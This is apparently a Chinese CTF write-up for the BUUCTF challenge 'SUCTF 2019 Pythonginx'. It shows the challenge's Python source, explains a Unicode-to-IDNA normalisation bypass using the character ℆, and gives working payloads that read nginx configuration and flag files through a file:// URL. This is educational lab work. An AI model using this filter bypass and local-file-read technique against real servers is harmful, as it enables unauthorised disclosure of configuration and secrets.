web buuctf [SUCTF 2019]Pythonginx1

知识点:1.nignx

              2.idna编码与utf-8编码的漏洞

1.开题

 查看源码,整理代码:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():

    url = request.args.get("url")
    host = parse.urlparse(url).hostname

    //经过urlparse解析所得hostname不能为suctf.cc
    if host == 'suctf.cc':
       return "我扌 your problem? 111"

    //urlsplit解析后hostname不能为suctf.cc
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
       return "我扌 your problem? 222 " + host

    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
       return urllib.request.urlopen(finalUrl).read()
    else:
       return "我扌 your problem? 333"

2.代码审计,需要绕过两个if语句

finalurl应该是文件的形式file://

发现里面有idna编码到Utf-8编码的转换,这两个编码形式的转换是存在漏洞的

idna是国际化域名

idna与utf-8编码漏洞 - Hanamizuki花水木 - 博客园

℆这个字符,如果使用python3进行idna编码的话
print('℆'.encode('idna'))
结果
b'c/u'
如果再使用utf-8进行解码的话
print(b'c/u'.decode('utf-8'))
结果
c/u
通过这种方法可以绕过网站的一些过滤字符

3.找到flag的位置,根据提示,用的是nignx服务器,我从别人的wp那里复制一下常用的文件储存地址,方便记忆

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

于是我们可以构造payload:

/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

 getUrl?url=file://suctf.c℆sr/fffffflag

得到flag{62903ed4-53f9-4ebd-b13a-136082b2610e}

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值